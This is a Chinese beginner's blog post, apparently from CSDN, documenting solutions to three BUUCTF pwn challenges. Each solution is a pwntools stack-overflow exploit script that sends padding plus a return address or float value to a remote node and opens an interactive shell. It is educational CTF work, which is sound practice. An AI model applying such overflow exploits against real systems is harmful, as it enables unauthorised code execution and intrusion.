pwn的初学记录

终于配好了自己的pwn机。也是借此记录一下学习记录。题目摘自buuctf

一.pwn机基本介绍

ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_hollk的博客-CSDN博客_ubuntu安装pwn环境

按照如上教程配置,python2换成了python3.两者有所差别,以后会在这里进行补充。

区别:

1.python3中byte和string需要转换,在字符串前需要加上b来改变属性。比如

payload=b'a'*44+p64(0x41348000)

2.按照配置python的使用不需要再使用python2直接使用python即可,方便了一些。

二.题目解析 

1.rip1

 先用checksec查看一下有无保护。发现没有

ida看一下主函数发现有get,应该是个栈溢出,找到/bin/sh 

 

 

 溢出调用一下fun即可

在这里直接使用

payload=b'a'*23+p64(0x401186)

出现了错误,查资料得知某些版本glibc调用system会出错,贴上学习链接

在一些64位的glibc的payload调用system函数失败问题 - Rookle - 博客园

 于是构造shellcode

from pwn import *
p = remote('node4.buuoj.cn',29058)
payload=b'a'*23+p64(0x401186+1)
p.sendline(payload)
p.interactive()

得到flag

 2.warmup_csaw_2016

 ida下看到cat flag

还是和上题差不多的栈溢出

shellcode

from pwn import *
p = remote('node4.buuoj.cn',28749)
payload=b'a'*72+p64(0x000000000040060D+1)
p.sendline(payload)
p.interactive()

 

 3.ciscn_2019_n_1

ida看一下主函数,发现是读取v1,判断v2是否等于11.28125.是则获取flag

 而v1和v2传输地址可以转为如图

 

因为使用gets,则栈溢出只需在读入v1时将v2覆盖即可。寻找11.2815的16机制表示。

 发现有两个比较过程,点击查看

找到16进制表示。构造shellcode

from pwn import *
p = remote('node4.buuoj.cn',28794)
payload=b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()

 得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值